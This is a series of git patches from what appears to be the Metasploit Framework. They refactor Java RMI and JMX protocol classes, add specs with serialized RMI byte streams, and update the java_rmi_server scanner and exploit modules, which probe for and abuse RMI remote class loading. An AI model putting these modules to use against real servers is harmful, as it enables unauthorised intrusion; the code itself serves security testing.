+ time = read_long(io) + + time + end + + # Reads the count from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_count(io) + count = read_short(io) + + count + end + + # Encodes the number field + # + # @return [String] + def encode_number + [number].pack('l>') + end + + # Encodes the time field + # + # @return [String] + def encode_time + [time].pack('q>') + end + + # Encodes the count field + # + # @return [String] + def encode_count + [count].pack('s>') + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb index 7199140549..7a43747118 100644 --- a/spec/lib/rex/proto/rmi/model/call_spec.rb +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -57,7 +57,7 @@ describe Rex::Proto::Rmi::Model::Call do it "decodes the call data correctly" do call.decode(call_message_io) - expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream) + expect(call.call_data).to be_a(Rex::Proto::Rmi::Model::CallData) end end diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb index 4511f3d618..d275eb9c27 100644 --- a/spec/lib/rex/proto/rmi/model/return_data_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -46,7 +46,7 @@ describe Rex::Proto::Rmi::Model::ReturnData do it "decodes the return data correctly" do return_data.decode(return_stream_io) - expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream) + expect(return_data.return_value).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end From 4bc49360833d4d21d2a417dbbd3ba00afb298ded Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 17:30:53 -0500 Subject: [PATCH 07/58] Add specs for ReturnValue --- .../rex/proto/rmi/model/return_value_spec.rb | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 spec/lib/rex/proto/rmi/model/return_value_spec.rb diff --git a/spec/lib/rex/proto/rmi/model/return_value_spec.rb b/spec/lib/rex/proto/rmi/model/return_value_spec.rb new file mode 100644 index 0000000000..b4c4ac6cb1 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/return_value_spec.rb @@ -0,0 +1,75 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::ReturnValue do + + subject(:return_value) do + described_class.new + end + + let(:return_value_stream) do + "\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_value_stream_io) { StringIO.new(return_value_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ReturnValue decoded" do + expect(return_value.decode(return_value_stream_io)).to eq(return_value) + end + + it "decodes code correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.code).to eq(Rex::Proto::Rmi::Model::RETURN_VALUE) + end + + it "decodes the uid correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + + it "decodes the value correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.value).to be_an(Array) + end + + it "decodes the value as an object" do + return_value.decode(return_value_stream_io) + expect(return_value.value[0]).to be_an(Rex::Java::Serialization::Model::NewObject) + end + + it "decodes the type of object in the value correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.value[0].class_desc.description.class_name.contents).to eq('java.rmi.dgc.Lease') + end + + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.encode).to eq(return_value_stream) + end + end +end From 6315e0731204696c1aa700e3c88628c673c94902 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 20:38:43 -0500 Subject: [PATCH 08/58] Add specs for UniqueIdentifier --- lib/rex/proto/rmi/model/element.rb | 6 +-- .../proto/rmi/model/unique_identifier_spec.rb | 47 +++++++++++++++++++ 2 files changed, 50 insertions(+), 3 deletions(-) create mode 100644 spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb index dc1dd40a94..1d9d202ead 100644 --- a/lib/rex/proto/rmi/model/element.rb +++ b/lib/rex/proto/rmi/model/element.rb @@ -88,7 +88,7 @@ module Rex raw = io.read(1) raise ::RuntimeError, 'Failed to read byte' unless raw - raw.unpack('C')[0] + raw.unpack('c')[0] end # Reads a two bytes short from an IO @@ -103,7 +103,7 @@ module Rex raise ::RuntimeError, 'Failed to read short' end - raw.unpack('n')[0] + raw.unpack('s>')[0] end # Reads a four bytes int from an IO @@ -118,7 +118,7 @@ module Rex raise ::RuntimeError, 'Failed to read int' end - raw.unpack('N')[0] + raw.unpack('l>')[0] end # Reads a 8 bytes long from an IO diff --git a/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb new file mode 100644 index 0000000000..6c4bd67403 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb @@ -0,0 +1,47 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::UniqueIdentifier do + + subject(:uid) do + described_class.new + end + + let(:uid_raw) do + "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x15" + end + + let(:uid_raw_io) { StringIO.new(uid_raw) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::UniqueIdentifier decoded" do + expect(uid.decode(uid_raw_io)).to eq(uid) + end + + it "decodes number correctly" do + uid.decode(uid_raw_io) + expect(uid.number).to eq(-766517433) + end + + it "decodes time correctly" do + uid.decode(uid_raw_io) + expect(uid.time).to eq(1416095896184) + end + + it "decodes count correctly" do + uid.decode(uid_raw_io) + expect(uid.count).to eq(-32747) + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + uid.decode(uid_raw_io) + expect(uid.encode).to eq(uid_raw) + end + end +end From 0968f14ac18d78371d6337821c34e412567d703b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 20:53:02 -0500 Subject: [PATCH 09/58] Add specs for CallData --- .../lib/rex/proto/rmi/model/call_data_spec.rb | 100 ++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 spec/lib/rex/proto/rmi/model/call_data_spec.rb diff --git a/spec/lib/rex/proto/rmi/model/call_data_spec.rb b/spec/lib/rex/proto/rmi/model/call_data_spec.rb new file mode 100644 index 0000000000..3c4f34da83 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/call_data_spec.rb @@ -0,0 +1,100 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::CallData do + + subject(:call_data) do + described_class.new + end + + let(:call_data_stream) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" + + "\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" + + "\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" + + "\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" + + "\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" + + "\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" + + "\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" + + "\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" + + "\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" + + "\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" + + "\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" + + "\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" + + "\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" + + "\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" + + "\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" + + "\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" + + "\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" + + "\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" + + "\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" + + "\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" + + "\x62\xc1\xc0" + end + + let(:call_data_stream_io) { StringIO.new(call_data_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::CallData decoded" do + expect(call_data.decode(call_data_stream_io)).to eq(call_data) + end + + it "decodes code correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.object_number).to eq(2) + end + + it "decodes the uid correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + + it "decodes the operation correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.operation).to eq(1) + end + + it "decodes the hash correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.hash).to eq(-669196253586618813) + end + + it "decodes the arguments correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments).to be_an(Array) + end + + it "decodes all the arguments" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments.length).to eq(3) + end + + it "decodes the first argument as an array" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments[0]).to be_an(Rex::Java::Serialization::Model::NewArray) + end + + it "decodes the type of the first argument array correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments[0].array_description.description.class_name.contents).to eq('[Ljava.rmi.server.ObjID;') + end + end + + describe "#encode" do + it "re-encodes a CallData stream correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.encode).to eq(call_data_stream) + end + end +end From d6048d097817cfa8f3b1bea7d522c32c603d7ecf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 21:05:45 -0500 Subject: [PATCH 10/58] Use rex support for build_call --- lib/msf/java/rmi/client/streams.rb | 27 ++++++++++++--------------- 1 file changed, 12 insertions(+), 15 deletions(-) diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index fbf467e018..6b475ec2d6 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -52,22 +52,19 @@ module Msf hash = opts[:hash] || 0 arguments = opts[:arguments] || [] - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = [ - object_number, - uid_number, - uid_time, - uid_count, - operation, - hash - ].pack('q>l>q>s>l>q>') - block_data.length = block_data.contents.length + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new( + number: uid_number, + time: uid_time, + count: uid_count + ) - call_data = Rex::Java::Serialization::Model::Stream.new - call_data.contents << block_data - arguments.each do |arg| - call_data.contents << arg - end + call_data = Rex::Proto::Rmi::Model::CallData.new( + object_number: object_number, + uid: uid, + operation: operation, + hash: hash, + arguments: arguments + ) call = Rex::Proto::Rmi::Model::Call.new( message_id: message_id, From 14be07a2c4f4a0e80f8daf8bdcabc8a515dcc8cf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 21:29:52 -0500 Subject: [PATCH 11/58] Update java_rmi_server modules --- lib/msf/java/rmi/client.rb | 2 +- lib/rex/proto/rmi/model/return_value.rb | 7 ++++ .../auxiliary/scanner/misc/java_rmi_server.rb | 20 ++++++------ .../exploits/multi/misc/java_rmi_server.rb | 32 +++++++++---------- 4 files changed, 34 insertions(+), 27 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 76ef96cef6..b0c10712e4 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -8,8 +8,8 @@ module Msf module Rmi module Client - require 'msf/java/rmi/client/streams' require 'msf/java/rmi/util' + require 'msf/java/rmi/client/streams' include Msf::Java::Rmi::Util include Msf::Java::Rmi::Client::Streams diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb index b6bcd85999..72dc37ee1c 100644 --- a/lib/rex/proto/rmi/model/return_value.rb +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -53,6 +53,13 @@ module Rex self end + # Answers if the ReturnValue is an exception + # + # @return [Boolean] + def is_exception? + code == RETURN_EXCEPTION + end + private # Reads the return code from the IO diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 969ed806d1..7a70976d6f 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -71,15 +71,15 @@ class Metasploit3 < Msf::Auxiliary hash: dgc_interface_hash, arguments: build_dgc_clean_args(jar_url) ) - return_data = recv_return + return_value = recv_return - if return_data.nil? + if return_value.nil? print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") return end - if loader_enabled?(return_data) + if return_value.is_exception? && loader_enabled?(return_value.value) print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") report_vuln( @@ -95,13 +95,13 @@ class Metasploit3 < Msf::Auxiliary end end - def loader_enabled?(stream) - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && - content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& - content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && - !content.class_data[1].contents.include?('RMI class loader disabled') + def loader_enabled?(exception_stack) + exception_stack.each do |exception| + if exception.class == Rex::Java::Serialization::Model::NewObject && + exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !exception.class_data[1].contents.include?('RMI class loader disabled') return true end end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 3c881a1264..ec4bc572d7 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -137,17 +137,17 @@ class Metasploit3 < Msf::Exploit::Remote arguments: build_dgc_clean_args(new_url) ) - return_data = recv_return + return_value = recv_return - if return_data.nil? && !session_created? + if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') end - if return_data && loader_disabled?(return_data) + if return_value && return_value.is_exception? && loader_disabled?(return_value) fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') end - if return_data && class_not_found?(return_data) + if return_value && return_value.is_exception? && class_not_found?(return_value) fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end @@ -180,13 +180,13 @@ class Metasploit3 < Msf::Exploit::Remote return true end - def loader_disabled?(stream) - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && - content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& - content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && - content.class_data[1].contents.include?('RMI class loader disabled') + def loader_disabled?(return_value) + return_value.value.each do |exception| + if exception.class == Rex::Java::Serialization::Model::NewObject && + exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + exception.class_data[1].contents.include?('RMI class loader disabled') return true end end @@ -194,11 +194,11 @@ class Metasploit3 < Msf::Exploit::Remote false end - def class_not_found?(stream) - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && - content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + def class_not_found?(return_value) + return_value.value.each do |exception| + if exception.class == Rex::Java::Serialization::Model::NewObject && + exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' return true end end From 17e1f7d34f23aedaac2e78086bc1492498bed16f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Mar 2015 09:25:53 -0500 Subject: [PATCH 12/58] Move Streams code --- lib/msf/java/rmi/builder.rb | 96 +++++++++++++++++++++++++++++ lib/msf/java/rmi/client.rb | 4 +- lib/msf/java/rmi/client/streams.rb | 98 ------------------------------ 3 files changed, 98 insertions(+), 100 deletions(-) create mode 100644 lib/msf/java/rmi/builder.rb delete mode 100644 lib/msf/java/rmi/client/streams.rb diff --git a/lib/msf/java/rmi/builder.rb b/lib/msf/java/rmi/builder.rb new file mode 100644 index 0000000000..21ad475f47 --- /dev/null +++ b/lib/msf/java/rmi/builder.rb @@ -0,0 +1,96 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Rmi + module Builder + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Fixnum] :object_number Random to identify the object. + # @option opts [Fixnum] :uid_number Identifies the VM where the object was generated. + # @option opts [Fixnum] :uid_time Time where the object was generated. + # @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM + # at the same time. + # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 + # it is -1. + # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # representing the method to call. + # @option opts [Array] :arguments + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + operation = opts[:operation] || -1 + hash = opts[:hash] || 0 + arguments = opts[:arguments] || [] + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new( + number: uid_number, + time: uid_time, + count: uid_count + ) + + call_data = Rex::Proto::Rmi::Model::CallData.new( + object_number: object_number, + uid: uid, + operation: operation, + hash: hash, + arguments: arguments + ) + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + end + end + end +end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index b0c10712e4..c05b4d6bc6 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -9,10 +9,10 @@ module Msf module Client require 'msf/java/rmi/util' - require 'msf/java/rmi/client/streams' + require 'msf/java/rmi/builder' include Msf::Java::Rmi::Util - include Msf::Java::Rmi::Client::Streams + include Msf::Java::Rmi::Builder include Exploit::Remote::Tcp # Returns the target host diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb deleted file mode 100644 index 6b475ec2d6..0000000000 --- a/lib/msf/java/rmi/client/streams.rb +++ /dev/null @@ -1,98 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' - -module Msf - module Java - module Rmi - module Client - module Streams - # Builds a RMI header stream - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :signature - # @option opts [Fixnum] :version - # @option opts [Fixnum] :protocol - # @return [Rex::Proto::Rmi::Model::OutputHeader] - def build_header(opts = {}) - signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE - version = opts[:version] || 2 - protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL - - header = Rex::Proto::Rmi::Model::OutputHeader.new( - signature: signature, - version: version, - protocol: protocol) - - header - end - - # Builds a RMI call stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :message_id - # @option opts [Fixnum] :object_number Random to identify the object. - # @option opts [Fixnum] :uid_number Identifies the VM where the object was generated. - # @option opts [Fixnum] :uid_time Time where the object was generated. - # @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM - # at the same time. - # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 - # it is -1. - # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash - # representing the method to call. - # @option opts [Array] :arguments - # @return [Rex::Proto::Rmi::Model::Call] - def build_call(opts = {}) - message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - operation = opts[:operation] || -1 - hash = opts[:hash] || 0 - arguments = opts[:arguments] || [] - - uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new( - number: uid_number, - time: uid_time, - count: uid_count - ) - - call_data = Rex::Proto::Rmi::Model::CallData.new( - object_number: object_number, - uid: uid, - operation: operation, - hash: hash, - arguments: arguments - ) - - call = Rex::Proto::Rmi::Model::Call.new( - message_id: message_id, - call_data: call_data - ) - - call - end - - # Builds a RMI dgc ack stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :stream_id - # @option opts [String] :unique_identifier - # @return [Rex::Proto::Rmi::Model::DgcAck] - def build_dgc_ack(opts = {}) - stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE - unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - - dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( - stream_id: stream_id, - unique_identifier: unique_identifier - ) - - dgc_ack - end - end - end - end - end -end From 8113ed2e1f59db17c4ee033dda81fd4258eb3126 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Mar 2015 09:29:37 -0500 Subject: [PATCH 13/58] Move specs --- .../java/rmi/{client/streams_spec.rb => builder_spec.rb} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename spec/lib/msf/java/rmi/{client/streams_spec.rb => builder_spec.rb} (96%) diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/builder_spec.rb similarity index 96% rename from spec/lib/msf/java/rmi/client/streams_spec.rb rename to spec/lib/msf/java/rmi/builder_spec.rb index 9d7cdf2634..8e8a47f80e 100644 --- a/spec/lib/msf/java/rmi/client/streams_spec.rb +++ b/spec/lib/msf/java/rmi/builder_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/java/rmi/builder' -describe Msf::Java::Rmi::Client::Streams do +describe Msf::Java::Rmi::Builder do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Java::Rmi::Builder mod.send(:initialize) mod end From f956ba1a46b1081d33fcb6da95db4c1140e59315 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Mar 2015 15:37:07 -0500 Subject: [PATCH 14/58] Do first JMX cleaning try --- lib/msf/java/jmx.rb | 5 + lib/msf/java/jmx/discovery.rb | 24 ++-- lib/msf/java/jmx/handshake.rb | 29 +++- lib/msf/java/jmx/mbean/server_connection.rb | 126 ++++++++++++++++++ lib/msf/java/jmx/util.rb | 33 +++-- lib/msf/java/rmi/client.rb | 11 +- .../exploits/multi/misc/java_jmx_server.rb | 105 ++++++++++----- 7 files changed, 275 insertions(+), 58 deletions(-) diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb index 0c796daf2d..8c54bd9b35 100644 --- a/lib/msf/java/jmx.rb +++ b/lib/msf/java/jmx.rb @@ -1,15 +1,20 @@ # -*- coding: binary -*- require 'rex/java/serialization' +require 'rex/proto/rmi' module Msf module Java module Jmx + require 'msf/java/rmi/util' + require 'msf/java/rmi/builder' require 'msf/java/jmx/util' require 'msf/java/jmx/discovery' require 'msf/java/jmx/handshake' require 'msf/java/jmx/mbean' + include Msf::Java::Rmi::Util + include Msf::Java::Rmi::Builder include Msf::Java::Jmx::Util include Msf::Java::Jmx::Discovery include Msf::Java::Jmx::Handshake diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb index d956a9fdaf..c525261922 100644 --- a/lib/msf/java/jmx/discovery.rb +++ b/lib/msf/java/jmx/discovery.rb @@ -5,23 +5,23 @@ module Msf module Jmx # This module provides methods which help to handle JMX end points discovery module Discovery - # Builds a Rex::Java::Serialization::Model::Stream to discover + # Builds a Rex::Proto::Rmi::Model::Call to discover # an JMX RMI endpoint # - # @return [Rex::Java::Serialization::Model::Stream] + # @return [Rex::Proto::Rmi::Model::Call] + # @TODO it should be moved to a Registry mixin def discovery_stream - obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still - - block_data = 